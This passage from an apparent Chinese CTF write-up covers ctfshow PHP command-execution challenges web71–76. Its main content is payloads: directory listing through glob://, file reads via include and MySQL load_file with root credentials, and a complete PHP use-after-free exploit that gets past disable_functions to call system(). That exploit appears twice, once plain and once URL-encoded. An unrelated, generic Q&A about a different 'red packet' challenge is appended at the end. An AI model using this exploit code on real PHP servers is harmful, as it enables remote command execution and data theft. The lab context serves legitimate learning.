#array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

​ 之后就

c=include("/flag.txt");exit();

Web72:

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

​ scandir被禁了,这里没什么思路,不过,这里有大佬通过glob伪协议读取了根目录文件名:

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flag0.txt home lib media mnt opt proc root run sbin srv sys tmp usr var 

​ 通过include读取文件的时候发现没有权限,先列一些读取文件的函数吧:

readfile($filename);
$file = fopen("example.txt", "r");$content = fread($file, filesize("example.txt"));fclose($file);
$fileContents = file_get_contents("example.txt");

​ 之后就是利用uaf脚本进行命令执行了:

c=?><?php
pwn("ls /;cat /flag0.txt");
 
function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
 
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
    exit();
}

​ 直接贴一个payload:

c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d

Web73:

​ 又是,没源码,那就glob遍历文件目录吧,当然var_export也可以做到这里没有被ban:

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flagc.txt home lib media mnt opt proc root run sbin srv sys tmp usr var 

​ 突然发现include读取文件又可以了,直接读:

c=indlude("/flagc.txt");exit();

Web74:

​ 这一题ban了scandir,那就直接glob绕过:

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flagx.txt home lib media mnt opt proc root run sbin srv sys tmp usr var 

​ 之后include去读。

Web75:

​ glob读根目录结构:

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flag36.txt home lib media mnt opt proc root run sbin srv sys tmp usr var 

​ 多次测试,发现无法读取文件,可以试着利用mysql去读取文件:

c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
  foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
};exit();

​ 简单解释一下这个payload:

try {
    // 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
    $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
    
    // 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
        // 输出读取到的内容,并追加一个竖线(|)
        echo($row[0])."|";
    }
    
    // 将数据库连接对象设置为null,关闭连接
    $dbh = null;
} catch (PDOException $e) {
    // 如果发生PDO异常,输出错误信息
    echo $e->getMessage();
    // 终止脚本执行
    die();
}
 
// 终止脚本执行
exit();

Web76:

​ 还是glob读文件:

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flag36d.txt home lib media mnt opt proc root run sbin srv sys tmp usr var 

​ 还是老样子,MySQL读文件一把梭:

c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
  foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {  
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
};exit();

一些总结文章:

总结rce(远程代码执行各种sao姿势)绕过bypass

### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值